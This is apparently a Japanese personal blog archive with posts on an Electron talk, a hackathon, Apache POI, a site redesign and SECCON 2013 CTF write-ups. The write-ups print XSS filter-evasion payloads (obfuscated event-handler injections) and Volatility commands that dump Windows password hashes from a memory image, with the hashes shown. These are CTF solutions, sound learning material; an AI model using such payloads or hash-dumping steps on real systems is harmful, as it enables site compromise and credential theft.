技術的な話題 に関する投稿を表示しています

Electronで社内ツールを作った話をしました / #JSオジサン #6 2日目

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

JSオジサン#6 2日目 で喋っていました。


こんにちは。ごみばこです。

最近はLaravelオジサン…ですかね。たーまーにJSオジサンしてます。
…いやいや、年齢的にはまだまだオジサンじゃなくて、お兄さんですよ。

JSオジサン#6 2日目

満員御礼!! JSオジサン #6 「まさかの3日間連続開催だよ!」2日目
https://atnd.org/events/71990

今回のJSオジサンも21cafeさんでの開催です。
いつもありがとうございます!そこそこキャパが広くて、スライドも見やすくて、立地もよし。快適環境です!

さて、今回のJSオジサンでは、言ってしまえば勉強会駆動開発のような「せっかくだから」精神で登壇者側に参戦しました。

せっかくチャンスがあるから。
せっかくElectronやってみたかったから。

せっかくだから作ってみた系の話をしました。

Electronで社内ツールを作ったお話 from sters9

すこし解説をいれます。

ハイテンションキャラ

LT5分だし、Electron超感動したし、実際ほんとすごいから、
ハイテンションキャラで「サイコー感」を出していこう。

という思いのもとで、こういうスライドに仕上げました。
普段からこんなじゃないですよ!!!!!

偶然にも、ハイテンションノリが他の人と被っておらず、「Electron」という流行ネタも被らず、
いい感じに印象づけはできたのかなと思っていたりします。

社内ツール1

「なんとかかんとかーベイ」ってサービスの管理画面が、Flash製でもっさりでつらい。
というところから来ています。

当初はブックマークレット超がんばっていたのですが、人によっては動く動かないとかで、
こまめな対応や更新が面倒になってしまったので、いっそElectronでつくったろか、と。

いうのは実は後付けで、作ったのは一年前?とか、かなり前になります。
当時はnode-webkitを使って作ったのですが、「まあ、だいたいイメージ一緒だし…」というノリで入れました。

このときnode-webkitを触って、なんだかいい感じ!なんだけどなんだかなあ…
という気持ちがあったので、ここにきてElectronいい感じ!!という話を聞いてずっとやりたいと思っていたのでベストタイミングですね。

社内ツール2

Confuluenceのクライアントアプリです。

Qiitaで見かける、チャットワーククライアントアプリと同じように、
「webviewタグ」を使って、いわゆるガワネイティブと呼ばれる仕上がりにしています。

APIなんかも提供されているので、Confuluence内の色んなデータをばっさばっさ取れて、フルに画面を構築することも可能でしょう。ただGET系のリクエストは、JIRAやBitbucketなど、別のAtlassian製品を使ってると、そっちの情報が降ってきたり、 混在していたりすることもある(主にActivityStream)ので、扱いには気を付けないといけないこともあるかと思います。
オンプレの場合はちょっとわからないです…。ヘーシャはクラウドの方を利用しているので…。

そして、もしかしたら「最強のConfuluenceクライアント戦争」の到来…!?
参考:最強のTwitterクライアント戦争情報( http://r7kamura.hatenablog.com/entry/2015/08/25/154846


さてさてガワネイティブをしたとき、イケてない中身とかほしい機能を付けるためにもあれこれいじくりたくなりますよね?

ただ、Electronでは、Electronアプリを動かすプロセス、ウィンドウのプロセス、webviewのプロセス、といった具合に、それぞれの画面(?)は簡単にはつながっていないのです。
そんなとき、IPCと呼ばれるプロセス間通信の機能を使うことで…

うーん、長くなりそう…。このあとはまたどこかで書きます。


ツール2のConfuluenceクライアントアプリについては、、いかんせん急ごしらえな部分がおおく、正直見せられるようなものではない残念施構成なのでうーん。

そのうち、またElectronの話を書きます。
感動したので熱はしばらく冷めないことでしょう。

それではまたー(*'ω'*)


ア!1日目も参加者だったので、また参加レポあげます!!!

私立プログラミングキャンプ2015 Tokyoに参加してました。

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

ピクシブさんにて、土日通しの泊まり込みハッカソンでした。

途中でちょこっと寝てしまったようですが、ほぼほぼ完走しました。

(ただし成果がついてきているとは言っていない)

ありがとうピクシブさん。
ありがとうゲヒルンさん。
ありがとうオプティムさん。

やったこと

・ごみばこいんのマルチプレイ対応(仮)
・誤字脱字検出っぽいなにか
・ごはんをたべる
・ツイッターを見る
・アニメを見る

ごみばこいんのマルチプレイ対応(仮)

作業時間の7割くらいをここに費やしました。

過去に一度やっていたのですが、ソースコードが消えてしまい…。

ということで、改めて作っていました。

サーバサイドでそれっぽい動きをするものを作り、ある程度の頻度で同期するようにしたら、
クライアント側の動きとサーバ側の動きが異なりすぎて、ひどいラグが起きているかのような同期性能になりました。

memo

ひどい…。

以前おこなっていた方が、WebSocketで高頻度で同期していたので、安定してくっついていましたが、
ちょっとこれではだめですね。

また出直してきます。

誤字脱字検出っぽいなにか

ちょっとした都合で、誤字脱字を判定したいなーという都合があり、
それっぽい実装でできるのでは?と思って試していました。

実装としては、機械学習のようななにかになっています。

よしなにわかち書きのようなことをしてからの、
前後の出てくる文字列を数えて、データとして持っています。

入力値に対しても同じように処理し、
もっているデータと付け合わせてレーベンシュタイン距離的なものを出し、
一番近いものを出す、だけです。

超簡単!!

が、たとえば、漢字が変換されてないとか誤変換とか、
「よしなにわかち書き」が雑すぎて、実用にはちょっと無理すぎるレベルでした。

その問題あたりをちゃんとしたら戦えそうな気がするので、
また試してみます。


tmp

ごはんをたべる

パンがメインでした!!!

あとエナドリ!!!

ビタミン不足しそうだったので、ウイダーインゼリー的なのも食べてました!!!

ツイッターを見る

ひと段落つくたびにツイッターみてました。

久々にまじまじ見てましたけど、結構おもしろいですよね。ツイッター。

アニメを見る

アニメを見ながらコード書いてました。

最近はやりの、友利奈緒さんを見ました。
非常に残念なことに、私には友利奈緒さんの良さがさっぱりわかりませんでした。
もうちょっと見るといいんですかね~。

あ、伊波まひるさんはかわいかったです。
良さがありました。

おわりに

ハックしてる感の高いハッカソンめっちゃ面白いのでまたやりたいです!!!!!!!

次はISUCONか~~!?!?!??

アクセスログとかまったく取れていなかった

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

さってー。ひさびさにアナリティクスでもみてみっかー☆

いやさすがに、弱小だけどちょいちょいアクセス来てたし0ってことは…。
つーか、5月のハッカソンやったときとかそれなりに来たはず……えー……

 

 

 

 

 

 

まてまて、アクセスログはそれなりに残ってるのでは。

.

はい(真顔)

 

11日から気づいていたけど改めて確認したってワケです。

なんでしょうね。
サーバを移動したときにミスったとか、パフォーマンスあげようぜウェイってやったときにミスったか、くらいしか思いつかないですね。

ぽいぽいぽいぽぽいぽいぽぴwww

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

POIを使う機会がちょこっとあったのであれこれしたのはいいんだけど、
うまくできなかったという話です。

◆前提

  • エクセルでテキストボックスを設置
  • Javaで任意な文字列をそのテキストボックスに突っ込みたい
  • POI 3.8 (3.9でも同じっぽい)
  • Overview (POI API Documentation)

◆関連クラス

  • HSSFWorkBook:ワークブック
  • HSSFWorkSheet:ワークシート
  • HSSFPatriarch:描画領域?
  • HSSFShape:オブジェクトの関係の抽象クラス
  • HSSFSimpleShape:四角とか簡単なオートシェイプとか
  • HSSFTextbox:テキストボックス
  • HSSFClientAnchor:シート上の座標を示す
  • EscherAggregate:これはちょっと違うっぽい
    >> MSODRAWING and OBJ record combinations って書いてあった

◆やったこと
1. エクセルで設置したテキストボックスを操作しよう!

List<HSSFShape> shapes = sheet.getDrawingPatriarch().getChildren();
for (HSSFShape shape : shapes) {
	if (shape instanceof HSSFTextbox) {
		// !!ここにこない!! //
	}
	if (shape instanceof HSSFSimpleShape) {
		// うおーきたー //
		// poi 3.8 //=> Method not found.
		// poi 3.9 //=> エラーは無い。あとでファイルが開けなくなる
		((HSSFSimpleShape) shape).setString(new HSSFRichTextString("hogehoge"));
	}
}

2. テキストボックスはPOIで設置しよう!

HSSFPatriarch patriarch = sheet.getDrawingPatriarch();
HSSFClientAnchor anchor =
	new HSSFClientAnchor(10, 10, 100, 50, (short)1,(short)1,(short)1,(short)1);
HSSFTextbox textBox = patriarch.createTextbox(anchor);
HSSFRichTextString text = new HSSFRichTextString("1");
// フォント設定
// text.applyFont(sheet.getColumnStyle(0).getFont(sheet.getWorkbook()));
textBox.setString(text);

// !なにが原因かわからないけど該当シートがぶっ壊れる! //

◆結論
(◞‸◟)エクセルまぢやみ…

トップページに新機能を付けたいって

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

どうも。ごみばこです。
探しものは見つけにくいものです。まだまだ探します。
夢の中へ行っている場合じゃないです。


それはそうと、トップページを少しいじろうかと、やってみます。
なんにも進んでないですがちょっと紹介。

サーバ側で計算してどうこうとかなんとかかんとか。

そのうちできます多分。

トップページを更新しました

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

seccon記事以来となりますね。

トップページをスマホ対応しようしよう思ってトントンと流れていたのですが、
もくもく会に参加した際に、この前見つけた物理エンジンを使ってみようと
切り替えたらスマホ対応いけちゃった感です。

ぷあさんとぐらぷすの愉快なもくもく会
http://www.zusaar.com/event/10387003

具体的には、Matter.js というものを使用しました。

Matter.js
http://brm.io/matter-js/

 

いままで、box2d-jquery を使って、DOMから構築しDOM更新されていく、なのですが、
今回は、全部js側に持って行き、そっちで全部動く、という形です。
(ので、今までDOM更新されていた分の処理が消えるのでぬるぬる感がでる、はず!)

加えて、スマホサポートもしているらしく、物理エンジン周りについては
とくに何もせずともスマホ対応できちゃいました。

ただ、スマホで見た時の画面がしんでいたので、cssをいじったり、iframeの幅をいい感じにしました。

 

ぜひスマホでもお試しあれ。


(追)

エイプリルフールからそのまま残っていた、
ゴミを吐き出していく処理はこのタイミングで消しました。

そのままではなんだかもったいないので、機能は残し、
ボタンを押すと吐き出すようにしています。

2013 SECCON オンライン予選に参加してました

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

という記事を書いていなかったので書く。

おつかれさまでした。

なんにもなくてぼっちーむになりました。

解いた問題
<1>Forensics: 1,2,3
<2>Programming/Crypt: 1,2
<3>Binary: -
<4>Network/Web: 1,2,3,4,5
<5>Etc: 1,2

開始:<4>2、<5>1
16時:<1>1
18時:<4>3
19時:<4>5(300pt)
0時:<5>2
3時:<2>2
6時:<4>4、<4>1、<2>1
11時:<1>2、<1>3
(多分こんな感じ)

<1>500も<1>300と同じようなノリでいけるとおもいきや、時間切れ。。
と、いうか10時くらいから調べながら環境作って<1>200と<1>300取れたので、
まあ、なんというか、はい。

Write-upはいったん、<1>2、<1>3、<4>5、だけ書きました。


Web500「途中点もらえます」
ぼく「いや入れなくても最後まで出来る見通しあるし500pt入るっしょw」
スコアサーバ「300(ボソッ」
~終了後~
ぼく「点数あわねーWeb500だーどんまいー」


運営のみなさま、楽しいイベントをありがとうございました。
次回があればまた参加したいです。

[SECCON] Web500 箱庭XSS Final

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

出たな箱庭!

なんどか試しているとどうやら入れた文字列([A-Za-z]?)が使えなくなる模様。なるほど。

1回目:"><script>alert("XSS")</script>
2回目:"><script>alert("XSS")</script> //←NG

困りつつ文字列を分解していく作戦にすると、どうやら一文字は除外される模様。

1回目:"><script>alert("X"+"S"+"S")</script>
2回目:"><script>window["ale"+"rt"]("X"+"S"+"S")</script>

ということで。(動く原理はjsfuckとかで調べてください)

"/onfocus=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onclick=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/ondblclick=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onkeydown=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onkeypress=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onkeyup=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmousemove=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmousedown=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmouseover=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmouseup=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmouseout=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onblur=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onchange=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onselect=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmousewheel=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
FLAG: アイ・アム・アラート出したいマン!

終わったあとにもう少し触ってみたら、消されたときの残りがくっついて通るんですねこれ。

"><script>alert("XSS")</script>
"><sscriptcript>aalertlert("XXSSSS")</sscriptcript>

Finalということは次には期待しなくていいんですよね(フラグ)

[SECCON] Forensics200 削除されているファイルの名前は何ですか?

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

いろいろ調べてみると、与えられたファイルはMFTのダンプらしいです。

analyzeMFT.py というのを使いました。
dkovar/analyzeMFT

出力してもらってgrepするだけでいいっぽいです。


$ analyzeMFT.py -f Filesystem003.bin -o list.csv && grep "Inactive" list.csv | grep "/"

が、競技中は出力までで、探すのはLibreOfficeにcsvぶち込んで適当にスクロールして見つけました。


FLAG: SkyhookParser.exe

[SECCON] Forensics300 ログインパスワードを解明せよ

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

Volatilityってのつかいました。
volatility - An advanced memory forensics framework - Google Project Hosting

メモリダンプをVolatilityに食わせます。
既にWindows7 X86とあったのでこんなかんじのコマンドを。


$ python vol.py hivelist -f ../Memorydump2.bin --profile=Win7SP0x86

Volatility Foundation Volatility Framework 2.3.1
Virtual    Physical   Name
---------- ---------- ----
0x9ff5a3c0 0x37fbb3c0 \SystemRoot\System32\Config\SECURITY
0x9ffc03a0 0x30e243a0 \SystemRoot\System32\Config\SAM
0x8f60c568 0x04bbc568 [no name]
0x8f61c008 0x005d2008 \REGISTRY\MACHINE\SYSTEM
0x8f6448d8 0x04b3c8d8 \REGISTRY\MACHINE\HARDWARE
0x90659650 0x199c0650 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0x906d8008 0x13200008 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0x93cf5008 0x38814008 \Device\HarddiskVolume1\Boot\BCD
0x93d479d0 0x388c19d0 \SystemRoot\System32\Config\SOFTWARE
0x989bc008 0x37920008 \SystemRoot\System32\Config\DEFAULT
0x9e6e69d0 0x005469d0 \??\C:\Users\forensics\ntuser.dat
0x9efe5650 0x028aa650 \??\C:\Users\forensics\AppData\Local\Microsoft\Windows\UsrClass.dat

よいですね。
次に、SYSTEMのレジストリとSAMのアドレスを教えてハッシュをダンプするらしいです。


$ python vol.py hashdump -f ../Memorydump2.bin -y 0x8f61c008 -s 0x9ffc03a0 --profile=Win7SP0x86 > hashs.txt
Volatility Foundation Volatility Framework 2.3.1

$ cat hashs.txt
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
forensics:1000:aad3b435b51404eeaad3b435b51404ee:98ffdb1b29e7c88954326cd4011141d8:::

NTLMハッシュになってるので、あとはツールでも探して投げてください。

FLAG: Kani3

追記

この辺りが参考になりました。
http://forensicmethods.com/wp-content/uploads/2012/04/Memory-Forensics-Cheat-Sheet-v1.pdf
http://cyberarms.wordpress.com/2011/11/04/memory-forensics-how-to-pull-passwords-from-a-memory-dump/

1 2 3 4 5 6 7 8 9 10 11 12 13